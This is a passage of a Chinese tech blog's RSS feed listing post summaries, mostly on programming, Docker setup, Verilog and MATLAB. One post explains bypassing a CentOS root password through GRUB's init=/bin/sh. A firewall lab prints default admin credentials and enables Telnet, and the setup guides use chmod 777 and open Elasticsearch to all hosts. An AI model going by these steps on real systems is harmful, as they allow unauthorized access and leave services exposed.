{&#34;</description>
    </item>
    <item>
      <title>爬虫-爬取某小说网站</title>
      <link>https://bchobby.github.io/posts/7050474b4150fdeaf7c475da08889539/</link>
      <pubDate>Mon, 08 Aug 2022 23:05:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7050474b4150fdeaf7c475da08889539/</guid>
      <description>需求：要爬取某个小说所有章节的网址，再通过爬虫将每一章的内容爬取下来，再本地创建一个文件夹，并且把小说分别保存到这个文件夹中。每一章保存为一个文件。思路：首先是再网址里面获取每一章节的链接，再解析每一个章节的链接中获得文章的标题以及内容，之后再存储。代码如下所示： import re import os import requests # 获取每一章的链接，拼接成网址 def get_toc(html): &#34;&#34;&#34; 获取每一章的连接存储到一个列表中并返回 :param html:目录页源代码 :return:每章节链接 &#34;&#34;&#34; toc_url_list = [] start_url = &#39;https://www.kanunu8.com/book3/6879/&#39; toc_block = re.findall(&#39;正文(.*?)&amp;lt;/tbody&amp;gt;&#39;, html, re.S)[0] toc_url = re.findall(&#39;href=&#34;(.*?)&#34;&#39;, toc_block, re.S) for url in toc_url: toc_url_list.append(start_url + url) return toc_url_list def get_article(html): &#34;&#34;&#34; 获取每一章的正文并返回章节名和正文 :param html:正文源代码 :return:章节名，正文 &#34;&#34;&#34; chapter_name = re.search(&#39;size=&#34;4&#34;&amp;gt;(.*?)&amp;lt;&#39;, html, re.S).group(1) text_block = re.search(&#39;&amp;lt;p&amp;gt;(.*?)&amp;lt;/p&amp;gt;&#39;, html, re.S).group(1) text_block = text_block.replace(&#39;&amp;lt;br /&amp;gt;&#39;, &#39;&#39;) text_block = re.sub(&#39;\r\n\r\n&#39;, &#39;\r\n&#39;, text_block) return chapter_name, text_block # 保存的代码 def save(chapter, article): &#34;</description>
    </item>
    <item>
      <title>Linux常见目录说明</title>
      <link>https://bchobby.github.io/posts/b895be506cfcda519316b6551a21eb89/</link>
      <pubDate>Mon, 08 Aug 2022 15:44:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b895be506cfcda519316b6551a21eb89/</guid>
      <description> 目录/bin存放二进制可执行文件(ls,cat,mkdir等)，常用命令一般都在这里。/etc存放系统管理和配置文件/home存放所有用户文件的根目录，是用户主目录的基点，比如用户user的主目录就是/home/user，可以用~user表示/devdev是device的缩写 存放的是Linux的外部设备 在Linux中访问设备的方式和访问文件的方式是相同的/root这里存放的是启动Linux时使用的一些核心文件 包括一些连接文件以及镜像文件/usr用于存放系统应用程序，比较重要的目录/usr/local 本地系统管理员软件安装目录（安装系统级的应用）。这是最庞大的目录，要用到的应用程序和文件几乎都在这个目录。/usr/x11r6 存放x window的目录/usr/bin 众多的应用程序 /usr/sbin 超级用户的一些管理程序 /usr/doc linux文档 /usr/include linux下开发和编译应用程序所需要的头文件 /usr/lib 常用的动态链接库和软件包的配置文件 /usr/man 帮助文档 /usr/src 源代码，linux内核的源代码就放在/usr/src/linux里 /usr/local/bin 本地增加的命令 /usr/local/lib 本地增加的库/user/bin系统用户使用的应用程序/user/src内核源代码默认的防止目录/opt额外安装的可选应用程序包所放置的位置。一般情况下，我们可以把tomcat等都安装到这里。/proc虚拟文件系统目录，是系统内存的映射。可直接访问这个目录来获取系统信息。/root超级用户（系统管理员）的主目录/sbin存放二进制可执行文件，只有root才能访问。这里存放的是系统管理员使用的系统级别的管理命令和程序。如ifconfig等。/dev用于存放设备文件。/mnt系统管理员安装临时文件系统的安装点，系统提供这个目录是让用户临时挂载其他的文件系统。/boot存放用于系统引导时使用的各种文件/lib存放跟文件系统中的程序运行所需要的共享库及内核模块。共享库又叫动态链接共享库，作用类似windows里的.dll文件，存放了根文件系统程序运行所需的共享文件。/tmp用于存放各种临时文件，是公用的临时文件存储点。/var用于存放运行时需要改变数据的文件，也是某些大文件的溢出区，比方说各种服务的日志文件（系统启动日志等。）等。/lost+found这个目录平时是空的，系统非正常关机而留下“无家可归”的文件（windows下叫什么.chk）就在这里/run是一个临时系统文件 存储系统启动以来的信息 当系统重启时 这个目录下的文件应该被删掉或清除 </description>
    </item>
    <item>
      <title>jmeter教程系列（21）阶梯压测找到适合的最大并发数</title>
      <link>https://bchobby.github.io/posts/96539822ee9016195d719979987f749e/</link>
      <pubDate>Mon, 08 Aug 2022 14:40:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96539822ee9016195d719979987f749e/</guid>
      <description>Jmeter阶梯压测找到最大并发数 1.设置阶梯压测方案&#xA;说明：&#xA;在5秒内增加10个并发用户数，并运行60秒，再继续在5秒内增加10个并发用户数，重复循环，直至并发用户数达到100后，脚本持续运行60秒。然后在每1秒内减少5个并发用户数，直到减为0，结束脚本的运行。&#xA;2.设置监控插件&#xA;监测吞吐量&#xA;监测响应时间&#xA;监测用户执行情况&#xA;说明：&#xA;首先明确平均响应时间的指标2秒，查看吞吐量是都连续并且正常，查看响应时间图表，找到2秒范围内对应的日期范围，在用户表中找到对应的日期范围，明确支持的最大并发数区间。&#xA;（3）根据最大并发数区间，减少阶梯线程的步长&#xA;说明：&#xA;减少步长数据能够判断最准确的支持的最大并发数，之后通过上述的验证方法推断出最合理的支持的最大并发数。&#xA;注意：&#xA;以上数据均以响应时间为2秒为基准</description>
    </item>
    <item>
      <title>【重铸Java根基】Java中的IO基础知识</title>
      <link>https://bchobby.github.io/posts/206e34808de92e29a992b54ac8885db7/</link>
      <pubDate>Mon, 08 Aug 2022 14:04:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/206e34808de92e29a992b54ac8885db7/</guid>
      <description>IO 即 Input/Output，输入和输出。数据输入到计算机内存的过程即输入，反之输出到外部存储（比如数据库，文件，远程主机）的过程即输出。数据传输过程类似于水流，因此称为 IO 流。IO 流在 Java 中分为输入流和输出流，而根据数据的处理方式又分为字节流和字符流。&#xA;Java IO 流的 40 多个类都是从如下 4 个抽象类基类中派生出来的。&#xA;InputStream/Reader: 所有的输入流的基类，前者是字节输入流，后者是字符输入流。OutputStream/Writer: 所有输出流的基类，前者是字节输出流，后者是字符输出流。 从类型上分，分为字节流和字符流&#xA;字节流 InputStream（字节输入流） InputStream用于从源头（通常是文件）读取数据（字节信息）到内存中，java.io.InputStream抽象类是所有字节输入流的父类。&#xA;InputStream 常用方法 ：&#xA;read() ：返回输入流中下一个字节的数据。返回的值介于 0 到 255 之间。如果未读取任何字节，则代码返回 -1 ，表示文件结束。read(byte b[ ]) : 从输入流中读取一些字节存储到数组 b 中。如果数组 b 的长度为零，则不读取。如果没有可用字节读取，返回 -1。如果有可用字节读取，则最多读取的字节数最多等于 b.length ， 返回读取的字节数。这个方法等价于 read(b, 0, b.length)。read(byte b[], int off, int len) ：在read(byte b[ ]) 方法的基础上增加了 off 参数（偏移量）和 len 参数（要读取的最大字节数）。skip(long n) ：忽略输入流中的 n 个字节 ,返回实际忽略的字节数。available() ：返回输入流中可以读取的字节数。close() ：关闭输入流释放相关的系统资源。 FileInputStream 是一个比较常用的字节输入流对象，可直接指定文件路径，可以直接读取单字节数据，也可以读取至字节数组中。</description>
    </item>
    <item>
      <title>【重铸Java根基】集合相关知识点</title>
      <link>https://bchobby.github.io/posts/cf0437ee1e92823713c161645d73df3f/</link>
      <pubDate>Mon, 08 Aug 2022 13:41:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf0437ee1e92823713c161645d73df3f/</guid>
      <description>最近带应届新员工，教然后知不足，发现自己把很多基础知识已经还给了大学老师，因此开贴，温故而知新！&#xA;在网上找了系统的学习资源，从头复习&#xA;从最基础的Java知识开始由浅入深，在某个知识点中遇到有疑惑的点会额外多写几句或者单独开帖子展开。&#xA;Java 集合， 也叫作容器，主要是由两大接口派生而来：一个是 Collection接口，主要用于存放单一元素；另一个是 Map 接口，主要用于存放键值对。对于Collection 接口，下面又有三个主要的子接口：List、Set 和 Queue。 Java 集合框架如下图所示：&#xA;List, Set, Queue, Map 四者的区别 List(对付顺序的好帮手): 存储的元素是有序的、可重复的。Set(注重独一无二的性质): 存储的元素是无序的、不可重复的。Queue(实现排队功能的叫号机): 按特定的排队规则来确定先后顺序，存储的元素是有序的、可重复的。Map(用 key 来搜索的专家): 使用键值对（key-value）存储，key 是无序的、不可重复的，value 是无序的、可重复的，每个键最多映射到一个值。 集合框架底层数据结构总结 先来看一下 Collection 接口下面的集合。&#xA;List&#xA;ArrayList： Object[] 数组Vector：Object[] 数组LinkedList： 双向链表(JDK1.6 之前为循环链表，JDK1.7 取消了循环) Set&#xA;HashSet(无序，唯一): 基于 HashMap 实现的，底层采用 HashMap 来保存元素LinkedHashSet: LinkedHashSet 是 HashSet 的子类，并且其内部是通过 LinkedHashMap 来实现的。有点类似于我们之前说的 LinkedHashMap 其内部是基于 HashMap 实现一样，不过还是有一点点区别的TreeSet(有序，唯一): 红黑树(自平衡的排序二叉树) Queue&#xA;PriorityQueue: Object[] 数组来实现二叉堆ArrayQueue: Object[] 数组 + 双指针 再来看看 Map 接口下面的集合。</description>
    </item>
    <item>
      <title>shopping高级篇-1</title>
      <link>https://bchobby.github.io/posts/064ba9c649dfaffe45d93792d688b00b/</link>
      <pubDate>Mon, 08 Aug 2022 13:32:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/064ba9c649dfaffe45d93792d688b00b/</guid>
      <description>Elastisearch-介绍及安装 简介 mysql用作持久化存储，ES用作检索 基本概念：&#xA;index索引 名词：相当于mysql的db，数据库&#xA;Type类型 在index中，可以定义一个或多个类型&#xA;类似于mysql的table，每一种类型的数据放在一起&#xA;index库&amp;gt;type表&amp;gt;document文档&#xA;Document文档 保存在某个index下，某种type的一个数据document，文档是json格式的，&#xA;document就像是mysql中的某个table里面的内容。每一行对应的列叫属性&#xA;检索机制 102、全文检索-ElasticSearch-简介_哔哩哔哩_bilibili&#xA;安装elastic search dokcer中安装elastic search&#xA;下载ealastic search（存储和检索）和kibana（可视化检索）&#xA;docker pull elasticsearch:7.4.2&#xA;docker pull kibana:7.4.2&#xA;注意版本要统一&#xA;配置&#xA;mkdir -p /usr/local/elasticsearch/plugins&#xA;mkdir -p /usr/local/elasticsearch/config&#xA;mkdir -p /usr/local/elasticsearch/data&#xA;# es可以被远程任何机器访问&#xA;echo &#34;http.host: 0.0.0.0&#34; &amp;gt;/usr/local/elasticsearch/config/elasticsearch.yml&#xA;# 递归更改权限，es需要访问&#xA;chmod -R 777 /usr/local/elasticsearch&#xA;启动Elastic search&#xA;# 9200是用户交互端口 9300是集群心跳端口&#xA;# -e指定是单阶段运行&#xA;# -e指定占用的内存大小，生产时可以设置32G&#xA;sudo docker run --name elasticsearch -p 9200:9200 -p 9300:9300 \</description>
    </item>
    <item>
      <title>Centos 7 用户密码忘记解决办法</title>
      <link>https://bchobby.github.io/posts/c8b6f6a5f1d8307b26a34b01231bc900/</link>
      <pubDate>Mon, 08 Aug 2022 12:29:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8b6f6a5f1d8307b26a34b01231bc900/</guid>
      <description>1、重启系统，开机进入GRUB界面，在引导程序菜单上进行选择&#xA;2、按&#34;e&#34;键进入&#xA;3、用上下箭头翻到最后，编辑修改两处：ro改为rw,在LANG=en_US.UFT-8后面添加init=/bin/sh（若LANG=en_US.UFT-8 可以为LANG=zh_CN.UFT-8，不改也没关系，如果汉化了，个别地方会有乱码，但是，并不影响修改密码）&#xA;4、修改好后，按clter+x键进入命令行修改密码。修改用户root与用户meng密码。&#xA;5.由于selinux开启着的需要执行以下命令更新系统信息,否则重启之后密码未生效&#xA;touch /.autorelabel&#xA;6、输入exec /sbin/init 命令，重启进入登录界面，输入新密码进行登录。</description>
    </item>
    <item>
      <title>linux下docker搭建Nexus3私有镜像仓库，超详细版</title>
      <link>https://bchobby.github.io/posts/5fa1bb6e16492b6577df49596508e5c7/</link>
      <pubDate>Mon, 08 Aug 2022 10:34:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fa1bb6e16492b6577df49596508e5c7/</guid>
      <description>1、首先先拉取nexus3镜像，输入&#xA;docker pull sonatype/nexus3 不输入标签默认拉取最新的镜像，如下：&#xA;2、输入&#xA;docker images 查看是否拉取成功。&#xA;3、创建两个子目录&#xA;mkdir docker_nexus3 mkdir docker_nexus3/nexus-data 用于等会挂载内部目录。&#xA;4、输入&#xA;chown -R 200 docker_nexus3/nexus-data 修改刚刚创建的目录属组权限，用于在nexus3内拥有写入权限。&#xA;5、输入&#xA;chmod 777 docker_nexus3/nexus-data/ 修改目录权限。&#xA;6、开始启动容器，输入如下，等待几分钟。（这里楼主云服务器配置较弱，需要改启动容器的配置，这里改为1核2G，以防启动报错；配置强大的同学可以不用加这一条命令，直接使用下面的命令。配置弱的同学可以拉到最底看下面有情景处理方法）&#xA;docker run -d \ --privileged=true \ --name=the_nexus3 \ -p 6000:6000 \ -p 8088:8081 \ -v /root/docker_nexus3/nexus-data:/nexus-data \ sonatype/nexus3 #-e INSTALL4J_ADD_VM_PARAMS=&#34;-Xms256M -XX:MaxDirectMemorySize=2048M&#34; \ 命令解读 --privileged=true 用于在容器内也拥有root权限 -p 6000:6000 此端口号是用于使用docker账号推送下载的端口号 -p 8088:8081 此端口号是浏览器上查看nexus3服务的端口 -v /root/docker_nexus3/nexus-data:/nexus-data 挂载本地目录到容器内部目录，记住本地目录一定是绝对路径 7、用如下命令：&#xA;docker logs the_nexus3 -f 查看运行日志是否安装成功；出现如下则启动成功。&#xA;8、初始登录需要去查看初始密码，在挂载的本地目录下查看初始密码，输入&#xA;cat docker_nexus3/nexus-data/admin.</description>
    </item>
    <item>
      <title>加法器、半加器、全加器、超前进位加法器</title>
      <link>https://bchobby.github.io/posts/8b8f6671f654b8c18a63a8b48834e6a3/</link>
      <pubDate>Sun, 07 Aug 2022 21:41:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b8f6671f654b8c18a63a8b48834e6a3/</guid>
      <description>文章目录 一、半加器二、全加器三、超前进位加法器关键点 一、半加器 简单来讲，半加器不考虑低位进位来的进位值，只有两个输入，两个输出。由一个与门和异或门构成.&#xA;真值表：&#xA;输入输出ABCS0000010110011110 半加器不考虑低位向本位的[进位]，因此它不属于[时序逻辑电路]，有两个输入端和两个输出。&#xA;设加数（输入端）为A、B ；和为S ；向高位的进位为Ci+1&#xA;逻辑表达式：&#xA;verilog 数据流级描述：&#xA;//半加器模块 module adder_half( input&#x9;wire&#x9;a, input&#x9;wire&#x9;b, output&#x9;reg&#x9;sum, output&#x9;reg&#x9;cout); always @(*) begin sum = a ^ b; cout = a &amp;amp; b; end endmodule RTL电路&#xA;二、全加器 全加器比半加器多了一位进位：&#xA;输入：A、B、Ci-1&#xA;输出：S、Ci&#xA;真值表：&#xA;输入输出Ci-1AiBiSiCi0000000110010100110110010101011100111111 一位全加器的表达式如下：&#xA;Si=Ai⊕Bi⊕Ci-1&#xA;第二个表达式也可用一个异或门来代替或门对其中两个输入信号进行求和：&#xA;verilog代码实现一(用两个半加器和一个或门实现一个全加器)结构性描述：&#xA;//full_adder module adder_full(a,b,cin,,cout,sum); input a,b,cin; output cout,sum; wire w1,w2,w3; adder_half u1(.a(a),.b(b),.sum(w1),.cout(w2)); adder_half u2(.a(cin),.b(w1),.sum(sum),.cout(w3)); assign cout = w2 | w3; endmodule 结构性描述的RTL电路</description>
    </item>
    <item>
      <title>银河麒麟操作系统（kylin os）学习</title>
      <link>https://bchobby.github.io/posts/70268951bb31fb872d71f266a5c65dcd/</link>
      <pubDate>Sun, 07 Aug 2022 13:23:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70268951bb31fb872d71f266a5c65dcd/</guid>
      <description> poweroff # 关机命令sudo su # 进入超级用户su username # 切普通用户Ctrl+Alt+t # 打开终端terminal窗口Ctrl+Alt+d # 最小化全部应用，然后显示桌面dpkg -i libqt5.deb # 安装deb类型的软件包./abc # 运行Qt编译后的可执行文件abcCtrl+Alt+d # 锁屏chown -R root demo #修改文件夹demo以及其子文件的拥有者为root用户 </description>
    </item>
    <item>
      <title>【Matlab绘图进阶第5弹】Matlab绘制三维散点图</title>
      <link>https://bchobby.github.io/posts/48b661db04c7c0e16f5cafe937184564/</link>
      <pubDate>Sun, 07 Aug 2022 09:11:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48b661db04c7c0e16f5cafe937184564/</guid>
      <description>散点图又称之为气泡图、主要分为二维散点图与三维散点图、常用于反映数值之间的相对位置、在工科方面常见于机器学习和深度学习分类算法中的特征密度展示。本期为三维散点图绘制、后续会出二维散点图教程。下面来和我一起实现散点图的绘制吧！&#xA;成图效果展示 绘图三步走 取色&#xA;取色的核心是获取0-1之间的RGB值矩阵、配色的好坏直接决定着图形的颜值高低、论文的门面即是图表。&#xA;数据准备&#xA;三维散点图的数据主要包括X、Y、Z、ZF三维或者四维度数据矩阵、其中ZF为数据点的特征列、决定颜色深浅与散点大小。&#xA;函数使用&#xA;三维散点图的函数主要为scatter3、二维散点图函数为scatter。&#xA;👉 1. 取色 此次取色步骤和之前取色过程不同、三维散点图需要很多种颜色渐进、即colormap，大小约为n*3的数据矩阵，需要选取两种基础色进行线性插值、具体基础色如下图： 接着对两种颜色进行线性插值、生成n组RGB值，实现一个颜色柱的绘制、从而得到一个完整的色系。生成后的色系图如下：&#xA;如上图所示、由两种基础色——完整的色彩柱就生成啦，大小为n*3，并将其保存为mycolor.mat文件用于matlab读取。&#xA;👉 2. 数据准备 数据是小编用随机数函数randperm生成的四维度数据，分别为X、Y、Z、ZF，其中前者为三维数据点、后者为数据特征大小与颜色深浅，具体代码如下：&#xA;%% 随机生成X,Y,Z数据 X = 1:64; Y = randperm(64); Z = randperm(64); ZF = randperm(64)*30;% 散点特征：散点值大小/颜色深浅 👉 3. 函数使用 绘制三维散点图主要函数为scatter、参数分别为X、Y、Z、ZF与颜色矩阵n*3。下面为主要绘图代码：&#xA;%% 导入所有颜色矩阵 % 颜色文件有8种颜色map load mycolor.mat; %% 开始绘制三维散点图 mycolor_value= mycolor1; figure(&#39;color&#39;,[1 1 1]); scatter3(X,Y,Z,ZF,mycolor_value,&#39;.&#39;); colormap(mycolor_value); colorbar() 接下来是完善坐标区与各个标题信息。&#xA;%% 完善图例与坐标区 xlabel(&#39;X&#39;,&#39;Fontname&#39;,&#39;微软雅黑&#39;); ylabel(&#39;Y&#39;,&#39;Fontname&#39;,&#39;微软雅黑&#39;); zlabel(&#39;Z&#39;,&#39;Fontname&#39;,&#39;微软雅黑&#39;); title(&#39;三维散点&#39;,&#39;Fontname&#39;,&#39;微软雅黑&#39;); set(gca,&#39;Box&#39;,&#39;on&#39;); ax = gca; ax.BoxStyle = &#39;full&#39;; set(gca,&#39;Xgrid&#39;,&#39;off&#39;,&#39;Ygrid&#39;,&#39;off&#39;,&#39;Zgrid&#39;,&#39;off&#39;); set(gca,&#39;Linewidth&#39;,1.</description>
    </item>
    <item>
      <title>【C语言基础】12 字符串</title>
      <link>https://bchobby.github.io/posts/7936c856a44fea4fbf96bc6d009d35da/</link>
      <pubDate>Sat, 06 Aug 2022 11:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7936c856a44fea4fbf96bc6d009d35da/</guid>
      <description>1、字符串与字面串 字面串：&#xA;用一对双引号括起来的字符序列(程序文本)，是源文件的组成部分，仅表示字面意思。如“Hello”（占6个字符，默认含0），与字符串常量不同，字面串是可更改的。&#xA;字符串：&#xA;字面串经编译后生成字符串，位于系统存储器内、以空字符结尾的字符序列。&#xA;如char word[] = {&#39;H&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39;, &#39;!&#39;, &#39;\0&#39;}; （是字符数组，也是字符串）&#xA;字符数组：&#xA;如char word[] = {&#39;H&#39;, &#39;e&#39;, &#39;l&#39;, &#39;l&#39;, &#39;o&#39;, &#39;!&#39;}; （是字符数组，但不是字符串）&#xA;说明：&#xA;字面串中的空格（如&#34;Good morning!&#34;）不是空字符，空格的ASCII码是32，空字符的ASCII码是0。 1.1 字面串中的转义序列 字面串中可以使用转义序列，如\n等。&#xA;“Hello, \nWorld!”&#xA;**/八进制数转义序列： 在3个数字或非八进制数字符处结束。例如：&#34;\1234&#34;包含两个字符(\123和4)，&#34;\189&#34;包含三个字符(\1，8和9)。 十六进制数转义序列：结束于第一个非16进制数字符处。范围通常在\x0~\xff之间。 见本章的转义序列部分&#xA;1.2 延续字符串 字符串太长，在下一行延续。&#xA;1.2.1 使用字符&#39;\&#39; 次行需顶格写，否则Tab符会被输出。&#xA;printf(&#34;Amateurs sit and wait for inspiration, \ the rest of us just get up and go to work. -Stephen King&#34;); 1.2.2 分割成多条字符串 编译器会将相邻字符串自动相连，无需顶格写。&#xA;*820</description>
    </item>
    <item>
      <title>Threejs基础代码段（三）科技感线框</title>
      <link>https://bchobby.github.io/posts/58b11155276375438096b0c61d43c59a/</link>
      <pubDate>Sat, 06 Aug 2022 10:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58b11155276375438096b0c61d43c59a/</guid>
      <description>提到线框，第一想到的是wireframe，显示几何体的内部线条，通常的方式为：&#xA;child.material.wireframe = isShow; 其效果如下：&#xA;对于简单几何体，其线框模式能勾勒外部轮廓线，效果尚可，但对于复杂模型，显示wireframe后会出现许多三角形，如下所示，这是我们所不需要的。&#xA;我们的目的是显示几何体，勾勒模型简易轮廓，赋予半透明材质，突出科技感。&#xA;先看效果，线框之前：&#xA;线框后效果： 这里主要用到了EdgesGeometry（几何体边框辅助线）&#xA;EdgesGeometry( geometry : Geometry, thresholdAngle : Integer ) 示例代码：&#xA;1.需要创建一个几何体&#xA;2.将几何体传给EdgesGeometry的构造函数&#xA;3.创建基础线条材质，并创建线框分段THREE.LineSegments&#xA;4.最后将创建的线框加入的几何体中&#xA;// EdgesGeometry线框1 var line = null; const lineMaterial = new THREE.LineBasicMaterial({color: &#39;#1E90FF&#39;}); function edgeGeometryWireframe(model, isShow){ if(model){ if(!line){ line = new THREE.Group(); model.traverse(function(child){ if (child.isMesh){ let edges = new THREE.EdgesGeometry(child.geometry); let lineS= new THREE.LineSegments(edges, lineMaterial); line.add(lineS); } }); scene.add(line); } model.visible = !isShow; line.visible = isShow; } } // EdgesGeometry线框2 var gbg2 = mFloor2.</description>
    </item>
    <item>
      <title>华为防火墙USG6000V三种管理方法</title>
      <link>https://bchobby.github.io/posts/96a6889db46e7d946a36c08629aec1fa/</link>
      <pubDate>Fri, 05 Aug 2022 22:43:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96a6889db46e7d946a36c08629aec1fa/</guid>
      <description>华为防火墙USG6000V三种管理方法 Web登录管理 Telnet登录管理 SSH登录管理 本次实验的拓扑 首先完成基本的网络配置： 1.打开添加完成的网卡，配置IP 地址：192.168.74.254 255.255.255.0。（这里需要创建一个环回口网卡，创建方法，我的上一篇博客有介绍）&#xA;2.添加云，点击 增加。&#xA;3.然后，选择刚刚添加的网卡，点击 增加。&#xA;4.选择 入端口 和 出端口 编号，打钩 双向通道，点击 增加。&#xA;5.最后，端口映射表出现则表示成功。&#xA;启动防火墙 接下来就配置防火墙，由于第一次打开防火墙，需要修改密码，否则无法进入。&#xA;防火墙的G0/0/0是网管口，不跑业务数据，仅做网管 ；默认ip是 192.168.0.1/24&#xA;华为防火墙默认账号：admin&#xA;华为防火墙默认密码：Admin@123&#xA;修改的密码可以自定义，本实验以该密码为例：huawei@123&#xA;Web登录管理防火墙 1.进入防火墙之后，配置网管口的IP地址：192.168.74.100/24；并切允许 ping、http、 https、服务的流量通过，默认是拒绝一切服务。&#xA;命令如下：&#xA;&amp;lt;FW&amp;gt;system-view [FW1]interface GigabitEthernet0/0/0 [FW1-GigabitEthernet0/0/0]ip address 192.168.74.100 255.255.255.0 [FW1-GigabitEthernet0/0/0]service-manage http permit [FW1-GigabitEthernet0/0/0]service-manage https permit [FW1-GigabitEthernet0/0/0]service-manage ping permit 2.然后在Windows 上打开 CMD ，检查网络的连通性。&#xA;3.然后打开浏览器，输入http://192.168.74.100 进入防火墙的web界面。输入账户名密码登录。&#xA;到此，web登录防火墙的实验到此结束。&#xA;Telnet登录管理防火墙 1.首先打开路由器，配置IP地址 192.168.74.200/24&#xA;[AR1]interface GigabitEthernet 0/0/0 [AR1-GigabitEthernet0/0/0]ip add 192.168.74.100 24 2.在防火墙上做如下配置：&#xA;&amp;lt;FW1&amp;gt;system-view [FW1]telnet server enable [FW1]user-interface vty 0 4 [FW1-ui-vty0-4]protocol inbound all 支持所有的协议 [FW1-ui-vty0-4]set authentication password cipher huawei@123 [FW1-ui-vty0-4]user privilege level 3 [FW1]interface gi0/0/0 [FW1-GigabitEthernet0/0/0]service-manage telnet permit 3.</description>
    </item>
    <item>
      <title>【前端面试之缓存】js本地缓存、浏览器缓存、服务器缓存</title>
      <link>https://bchobby.github.io/posts/852a3f8eaee48a7e8bea8438ef7df0bc/</link>
      <pubDate>Fri, 05 Aug 2022 21:33:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/852a3f8eaee48a7e8bea8438ef7df0bc/</guid>
      <description>1、javaScript本地缓存的方法 cookie、sessionStorage、localStorage、indexedDB 下表是cookie、sessionStorage、localStorage之间的区别&#xA;––––Cookie4K只能被同源的页面访问共享、每次发起同源请求的时候，会发送给服务器结合token来使用，这样服务器就知道是谁发起的请求了、可以用来统计页面的点击次数LocalStorage5Mb持久化存储，不会随着页面的关闭而消失、同源访问网站换肤、不常变更的个人信息sessionStorage5MB表示一次会话中保存的数据、当前窗口关闭会失效、只能被同一个窗口的同源页面访问共享敏感账号一次性登录，推荐使用sessionStorage Cookie通过设置Expires，来决定什么时候过期。&#xA;localStorage 有两个缺点：&#xA;- 无法像Cookie一样设置过期时间&#xA;- 只能存入字符串，无法直接存对象&#xA;关于cookie的使用如下： document.cookie = &#39;名字=值&#39;; 关于localStorage的使用 localStorage.setItem(&#39;username&#39;,&#39;cfangxu&#39;); localStorage.getItem(&#39;username&#39;) localStorage.removeItem(&#39;username&#39;) localStorage.clear() indexedDB&#xA;是一种低级API，用于客户端存储大量结构化数据(包括, 文件/ blobs)。该API使用索引来实现对该数据的高性能搜索。基本上数据库能干的事它都能干。&#xA;2、强缓存、协商缓存 缓存的定义：浏览器在本地磁盘上将用户之前请求的数据存储起来，当用户再次请求该数据时，不用发送http请求，直接从浏览器本地获取。&#xA;1、强缓存：&#xA;不会像服务器发送请求，直接从本地缓存中获取数据请求资源的状态码为200比如说是百度的Logo图标，马上到8-1建军节，那么只需要把Cache-Control的值设为0就可以了。&#xA;下面这个图就是百度的Logo图片的响应头：&#xA;2、协商缓存： 协商缓存也可以通过两种方式来设置，分别是 http 头信息中的 Etag 和 Last-Modified 属性。&#xA;存在etag还有last-modified这两个参数时用于控制协商缓存的时间的。请求头里面的if-modified-since还有if-none-match这俩参数是很有用的。服务器通过在响应头中添加 Last-Modified 属性来指出资源最后一次修改的时间，当浏览器下一次发起请求时，会在请求头中添加一个 If-Modified-Since 的属性，属性值为上一次资源返回时的 Last-Modified 的值。当请求发送到服务器后服务器会通过这个属性来和资源的最后一次的修改时间来进行比较，以此来判断资源是否做了修改。如果资源没有修改，那么返回 304 状态，让客户端使用本地的缓存。协商缓存是由服务器来确定缓存资源是否可用，所以客户端与服务器端都通过某种标识来进行通信，从而让服务端判断请求资源是否可以缓存访问。 强缓存和协商缓存的区别：都是从浏览器端读取资源。不同点是：1、强缓存不发请求给服务器。2、协商缓存发请求给服务器，根据服务器返回的信息决定是否使用缓存。&#xA;3、什么是CDN CDN(内容分发网络)：是指一种通过互联网互相连接的电脑网络系统，利用最靠近每位用户的服务器，更快、更可靠的将 音乐、图片、视频、应用程序及其他文件发送给用户来提高性能。&#xA;当用户群激增的时候，公司就必须在多个地理位置不同的服务器上部署，为了缩短http请求时间，我们应该把大量的静态资源放置的离用户近一点。CDN本质上就是根据用户区域的不同，让用户从CDN服务器集群中最近的节点，去做访问。&#xA;用户使用CDN缓存资源的过程：</description>
    </item>
    <item>
      <title>移除超出规定List最大数量的数据</title>
      <link>https://bchobby.github.io/posts/4a10b8f114f6cb2d69e72b4c11a0d138/</link>
      <pubDate>Fri, 05 Aug 2022 16:29:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a10b8f114f6cb2d69e72b4c11a0d138/</guid>
      <description> List&amp;lt;int&amp;gt; _lstInfos = new List&amp;lt;int&amp;gt;(); int _maxCountHold = 10; // 移除超出最大数量的行 private void RemoveList() { var countNeedRemove = _lstInfos.Count - _maxCountHold; if (countNeedRemove &amp;gt; 0) { _lstInfos.RemoveRange(0, countNeedRemove); } } </description>
    </item>
    <item>
      <title>因果推断-PSM的原理及python实现</title>
      <link>https://bchobby.github.io/posts/e572e38abadb18b5c31fc9dbf810fb48/</link>
      <pubDate>Fri, 05 Aug 2022 15:44:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e572e38abadb18b5c31fc9dbf810fb48/</guid>
